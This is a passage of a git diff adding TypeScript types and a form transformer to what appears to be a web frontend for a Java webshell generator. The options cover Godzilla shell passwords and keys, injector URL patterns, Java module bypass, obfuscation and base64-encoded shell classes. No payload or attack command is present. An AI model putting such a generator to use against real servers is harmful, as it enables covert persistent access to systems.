ShellConfig { + server: string; + shellTool: string; + shellType: string; + targetJreVersion?: string; + debug?: boolean; + byPassJavaModule?: boolean; + obfuscate?: boolean; +} + +export interface ShellToolConfig { + shellClassName?: string; + godzillaPass?: string; + godzillaKey?: string; + godzillaHeaderName?: string; + godzillaHeaderValue?: string; + commandParamName?: string; +} + +export interface CommandShellToolConfig { + shellClassName?: string; + paramName?: string; +} + +export interface GodzillaShellToolConfig { + shellClassName?: string; + pass?: string; + key?: string; + headerName?: string; + headerValue?: string; +} + +export interface InjectorConfig { + className?: string; + urlPattern?: string; +} + +export interface ConfigResponseType { + servers: string[]; + core: MainConfig; + packers: PackerConfig; +} + +export interface MainConfig { + [serverName: string]: { + [toolName: string]: string[]; + }; +} + +export interface PackerConfig { + [packerName: string]: string; +} + +export interface GenerateResponse { + packResult: string; + generateResult: GenerateResult; +} + +export interface APIErrorResponse { + error: string; +} + +export interface GenerateResult { + shellClassName: string; + shellSize: number; + shellBytesBase64Str: string; + injectorClassName: string; + injectorSize: number; + injectorBytesBase64Str: string; + shellConfig: ShellConfig; + shellToolConfig: CommandShellToolConfig | GodzillaShellToolConfig; + injectorConfig: InjectorConfig; +} diff --git a/web/src/utils/transformer.ts b/web/src/utils/transformer.ts new file mode 100644 index 00000000..e1959468 --- /dev/null +++ b/web/src/utils/transformer.ts @@ -0,0 +1,31 @@ +import { FormSchema } from "@/types/schema.ts"; +import { InjectorConfig, ShellConfig, ShellToolConfig } from "@/types/shell.ts"; + +export function transformToPostData(formValue: FormSchema) { + const shellConfig: ShellConfig = { + server: formValue.server, + shellTool: formValue.shellTool, + shellType: formValue.shellType, + targetJreVersion: formValue.targetJdkVersion, + byPassJavaModule: formValue.bypassJavaModule, + }; + const shellToolConfig: ShellToolConfig = { + shellClassName: formValue.shellClassName, + godzillaPass: formValue.godzillaPass, + godzillaKey: formValue.godzillaKey, + godzillaHeaderName: formValue.godzillaHeaderName, + godzillaHeaderValue: formValue.godzillaHeaderValue, + commandParamName: formValue.commandParamName, + }; + + const injectorConfig: InjectorConfig = { + urlPattern: formValue.urlPattern, + className: formValue.injectorClassName, + }; + return { + shellConfig, + shellToolConfig, + injectorConfig, + packer: formValue.packingMethod, + }; +} diff --git a/web/tsconfig.app.tsbuildinfo b/web/tsconfig.app.tsbuildinfo new file mode 100644 index 00000000..0e95ab56 --- /dev/null +++ b/web/tsconfig.app.tsbuildinfo @@ -0,0 +1 @@ +{"root":["./src/config.ts","./src/main.tsx","./src/routetree.gen.ts","./src/components/code-viewer.tsx","./src/components/main-config-card.tsx","./src/components/mode-toggle.tsx","./src/components/package-config-card.tsx","./src/components/shell-result.tsx","./src/components/tailwind-indicator.tsx","./src/components/theme-provider.tsx","./src/components/tips/jre-tip.tsx","./src/components/tips/url-pattern-tip.tsx","./src/components/ui/alert.tsx","./src/components/ui/button.tsx","./src/components/ui/card.tsx","./src/components/ui/checkbox.tsx","./src/components/ui/dropdown-menu.tsx","./src/components/ui/form.tsx","./src/components/ui/input.tsx","./src/components/ui/label.tsx","./src/components/ui/radio-group.tsx","./src/components/ui/select.tsx","./src/components/ui/separator.tsx","./src/components/ui/sonner.tsx","./src/components/ui/switch.tsx","./src/components/ui/tabs.tsx","./src/components/ui/textarea.tsx","./src/components/ui/tooltip.tsx","./src/lib/utils.ts","./src/routes/__root.tsx","./src/routes/index.tsx","./src/types/schema.ts","./src/types/shell.ts","./src/utils/transformer.ts"],"version":"5.7.2"} \ No newline at end of file diff --git a/web/tsconfig.node.tsbuildinfo b/web/tsconfig.node.tsbuildinfo new file mode 100644 index 00000000..1e7ed279 --- /dev/null +++ b/web/tsconfig.node.tsbuildinfo @@ -0,0 +1 @@ +{"root":["./vite.config.ts"],"version":"5.7.2"} \ No newline at end of file